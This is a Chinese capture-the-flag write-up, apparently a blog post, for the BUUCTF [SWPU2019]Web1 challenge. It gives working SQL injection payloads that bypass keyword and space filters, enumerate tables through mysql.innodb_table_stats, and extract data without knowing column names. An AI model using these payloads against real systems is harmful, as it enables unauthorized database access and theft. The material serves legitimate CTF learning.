buuctf [SWPU2019]Web1 1

26 篇文章 2 订阅
24 篇文章 2 订阅

buuctf [SWPU2019]Web1 1 sql 无列名注入 二次注入

注册登录发布广告
在这里插入图片描述

1'测试
在这里插入图片描述

存在sql注入
经测试,or,空格,#被过滤
在这里插入图片描述
在这里插入图片描述

不能用order by测试列数,用group by代替
注释符#用,'3代替,数字随便
(这里的'相当于闭合了输入语句里参数的右引号,变成'3'字符串,此时整个语句没有注释符)(如果参数不在sql语句末尾,那不是失败了?有无懂哥?)
空格用/**/代替

1'/**/group/**/by/**/22,'3

在这里插入图片描述

1'/**/group/**/by/**/23,'3

在这里插入图片描述

所以有22列

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

回显位2和3

在这里插入图片描述

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

information_schema.tables用mysql.innodb_table_stats代替
table_schema用database_name代替(为什么不能用前者呢?是因为数据库类型不同吗?有无懂哥?)
在这里插入图片描述
这时就要无列名注入了
因为没有mysql.innodb_column_stats这个方法,查不了列名
大概原理就是没有列名,那就给它取名,然后按别名正常继续注入

//-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

在这里插入图片描述

待我慢慢给你讲
首先有两个表ads,users。flag在users表第三列,其他可以自己注入看看。
格式

select group_concat(b) from (select 1,2 as b,3 union select * from users)a

a,b为别名,可以乱取。b别名为users表第二列别名。
select 1,2,3 很熟悉吧,就是上面我们用来判断回显的payload。有基础的都知道在数据库中这样会显示三列分别为1,2,3(为什么我不上图?别问,问就是懒。),而1,2,3就是三列列名
select 1,2,3 union select * from users就会以1,2,3为列名,查询users表中的内容了。就这么简单。为什么这样的语句结果就会这样?那就涉及数据库怎么底层了,懂得都懂,懂的不必说,不懂的很难说,反正我是不懂的,呵呵。
回到正题,在加上前面select group_concat(b)就是查询users表第二列。
那为什么是1,2,3没有4,5,6或以上呢。因为users表就只有三列,多输入列数就报错了。
可以用下面payload取得列数

-1'/**/union/**/select/**/1,(select/**/group_concat(1)/**/from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

在这里插入图片描述

有多少个1就有多少列。
最后就是ads表了,这个是查不出来的。
用上面的语句查出来有3列,当你爆查询表里面的内容时会报错,回头看之前的就变成了4个1,变成4列,再爆,再报错,再回头看,5列。。。真是不能满足我小小的好奇心,气死人了

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 6
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值